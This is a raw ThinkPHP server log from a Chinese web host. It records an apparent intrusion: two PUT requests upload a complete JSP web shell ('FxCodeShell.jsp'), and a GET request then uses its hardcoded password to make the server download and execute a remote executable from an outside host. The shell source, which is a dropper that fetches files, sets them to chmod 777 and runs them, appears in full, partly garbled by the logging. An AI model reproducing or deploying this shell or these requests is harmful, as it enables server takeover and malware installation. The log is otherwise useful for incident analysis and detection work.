[ 2019-03-24T06:42:12+08:00 ] 172.16.238.207 47.96.31.224 PUT /FxCodeShell.jsp%20 [ log ] 47.96.171.165:8008/FxCodeShell.jsp%20 [运行时间:0.247079s][吞吐率:4.05req/s] [内存消耗:1,996.32kb] [文件加载:39] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'FxCodeShell.jsp', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'connection' => 'Keep-Alive', 'accept' => '*/*', 'accept-language' => 'zh-cn', 'referer' => 'http://47.96.171.165:8008/FxCodeShell.jsp%20', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 'host' => '47.96.171.165:8008', 'content-type' => 'text/plain; Charset=UTF-8', 'content-length' => '3363', ) [ info ] [ PARAM ] array ( '<%@_page_import' => '"java.util.Arrays"%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*,java.util.*,java.net.URL,java.net.HttpURLConnection"%> <% String view = request.getParameter("view"); if (view == null || view.equals("")) { String localOS = System.getProperty("os.name"); List osList; String tomcatOS = "0"; String DEFAULT = "0"; String WINDOWS = "1"; String LINUX = "2"; osList = new ArrayList(); osList.add("Linux"); osList.add("Windows"); for (String os : osList) { if (localOS.contains(os)) { if (os.equals("Linux")) { tomcatOS = LINUX; } else if (os.equals("Windows")) { tomcatOS = WINDOWS; } else { tomcatOS = DEFAULT; } break; } } out.write(tomcatOS "
"); response.setHeader("OS", tomcatOS); return; } %> <% String password = "FxxkMyLie1836710Aa"; if (!view.equals(password)) { return; } int systemCode = Integer.parseInt(request.getParameter("os")); String address = request.getParameter("address"); String fileName = null; String path = null; String winPath = "C:/Windows/Temp/"; String linuxPath = "/var/tmp/"; switch (systemCode) { case 1: path = winPath; break; default: path = linuxPath; break; } String[] urls = address.split(","); InputStream fileInputSteam = null; FileOutputStream fileOutputStream = null; for (int i = 0; i <= urls.length - 1; i ) { try { String[] file = urls[i].split("/"); fileName = file[file.length - 1]; out.write("Download:" urls[i] "
"); out.write("
filename:" fileName "
"); out.write("
Size:" urls.length "
"); out.write( "-------------------------------------------------------------------------------------------------------" "

"); File isfile = new File(path fileName); if (isfile.isFile()) { try { Runtime exec = Runtime.getRuntime(); if (systemCode == 1) { exec.exec(path fileName); } else { String chmod = "chmod 777 " path fileName; exec.exec(chmod); exec.exec("nohup " path fileName " > /dev/null 2>', '1_' => '', '"); } }_catch_(Exception_e1)_{ e1_printStackTrace(); } continue; } URL_downloadUrl_' => ' new URL(urls[i]); HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection(); conn.setConnectTimeout(60000 * 3); conn.setReadTimeout(60000 * 3); fileInputSteam = conn.getInputStream(); fileOutputStream = new FileOutputStream(path fileName); int length = -1; byte[] b = new byte[409600]; while ((length = fileInputSteam.read(b)) != -1) { fileOutputStream.write(b, 0, length); fileOutputStream.flush(); } if (conn != null) { conn.disconnect(); } if (fileInputSteam != null) { fileInputSteam.close(); } if (fileOutputStream != null) { fileOutputStream.close(); } Runtime exec = Runtime.getRuntime(); if (systemCode == 1) { exec.exec(path fileName); } else { String chmod = "chmod 777 " path fileName; exec.exec(chmod); exec.exec("nohup " path fileName " > /dev/null 2>', '"); } }_catch_(Exception_e2)_{ e2_printStackTrace(); } } %>' => '', ) [ info ] [ LANG ] D:\wwwroot\stufees\thinkphp\lang\zh-cn.php [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-03-24T06:42:12+08:00 ] 172.16.238.207 47.96.31.224 PUT /FxCodeShell.jsp/ [ log ] 47.96.171.165:8008/FxCodeShell.jsp/ [运行时间:0.026369s][吞吐率:37.92req/s] [内存消耗:1,996.46kb] [文件加载:39] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'FxCodeShell.jsp', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'connection' => 'Keep-Alive', 'accept' => '*/*', 'accept-language' => 'zh-cn', 'referer' => 'http://47.96.171.165:8008/FxCodeShell.jsp/', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 'host' => '47.96.171.165:8008', 'content-type' => 'text/plain; Charset=UTF-8', 'content-length' => '3363', ) [ info ] [ PARAM ] array ( '<%@_page_import' => '"java.util.Arrays"%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*,java.util.*,java.net.URL,java.net.HttpURLConnection"%> <% String view = request.getParameter("view"); if (view == null || view.equals("")) { String localOS = System.getProperty("os.name"); List osList; String tomcatOS = "0"; String DEFAULT = "0"; String WINDOWS = "1"; String LINUX = "2"; osList = new ArrayList(); osList.add("Linux"); osList.add("Windows"); for (String os : osList) { if (localOS.contains(os)) { if (os.equals("Linux")) { tomcatOS = LINUX; } else if (os.equals("Windows")) { tomcatOS = WINDOWS; } else { tomcatOS = DEFAULT; } break; } } out.write(tomcatOS "
"); response.setHeader("OS", tomcatOS); return; } %> <% String password = "FxxkMyLie1836710Aa"; if (!view.equals(password)) { return; } int systemCode = Integer.parseInt(request.getParameter("os")); String address = request.getParameter("address"); String fileName = null; String path = null; String winPath = "C:/Windows/Temp/"; String linuxPath = "/var/tmp/"; switch (systemCode) { case 1: path = winPath; break; default: path = linuxPath; break; } String[] urls = address.split(","); InputStream fileInputSteam = null; FileOutputStream fileOutputStream = null; for (int i = 0; i <= urls.length - 1; i ) { try { String[] file = urls[i].split("/"); fileName = file[file.length - 1]; out.write("Download:" urls[i] "
"); out.write("
filename:" fileName "
"); out.write("
Size:" urls.length "
"); out.write( "-------------------------------------------------------------------------------------------------------" "

"); File isfile = new File(path fileName); if (isfile.isFile()) { try { Runtime exec = Runtime.getRuntime(); if (systemCode == 1) { exec.exec(path fileName); } else { String chmod = "chmod 777 " path fileName; exec.exec(chmod); exec.exec("nohup " path fileName " > /dev/null 2>', '1_' => '', '"); } }_catch_(Exception_e1)_{ e1_printStackTrace(); } continue; } URL_downloadUrl_' => ' new URL(urls[i]); HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection(); conn.setConnectTimeout(60000 * 3); conn.setReadTimeout(60000 * 3); fileInputSteam = conn.getInputStream(); fileOutputStream = new FileOutputStream(path fileName); int length = -1; byte[] b = new byte[409600]; while ((length = fileInputSteam.read(b)) != -1) { fileOutputStream.write(b, 0, length); fileOutputStream.flush(); } if (conn != null) { conn.disconnect(); } if (fileInputSteam != null) { fileInputSteam.close(); } if (fileOutputStream != null) { fileOutputStream.close(); } Runtime exec = Runtime.getRuntime(); if (systemCode == 1) { exec.exec(path fileName); } else { String chmod = "chmod 777 " path fileName; exec.exec(chmod); exec.exec("nohup " path fileName " > /dev/null 2>', '"); } }_catch_(Exception_e2)_{ e2_printStackTrace(); } } %>' => '', ) [ info ] [ LANG ] D:\wwwroot\stufees\thinkphp\lang\zh-cn.php [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-03-24T06:42:12+08:00 ] 172.16.238.207 47.96.31.224 GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe [ log ] 47.96.171.165:8008/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe [运行时间:0.029298s][吞吐率:34.13req/s] [内存消耗:1,984.72kb] [文件加载:39] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'FxCodeShell.jsp', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'connection' => 'Keep-Alive', 'accept' => '*/*', 'accept-language' => 'zh-cn', 'referer' => 'http://47.96.171.165:8008/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 'host' => '47.96.171.165:8008', ) [ info ] [ PARAM ] array ( 'view' => 'FxxkMyLie1836710Aa', 'os' => '1', 'address' => 'http://fid.hognoob.se/download.exe', ) [ info ] [ LANG ] D:\wwwroot\stufees\thinkphp\lang\zh-cn.php [ info ] [ LOG ] INIT File ---------------------------------------------------------------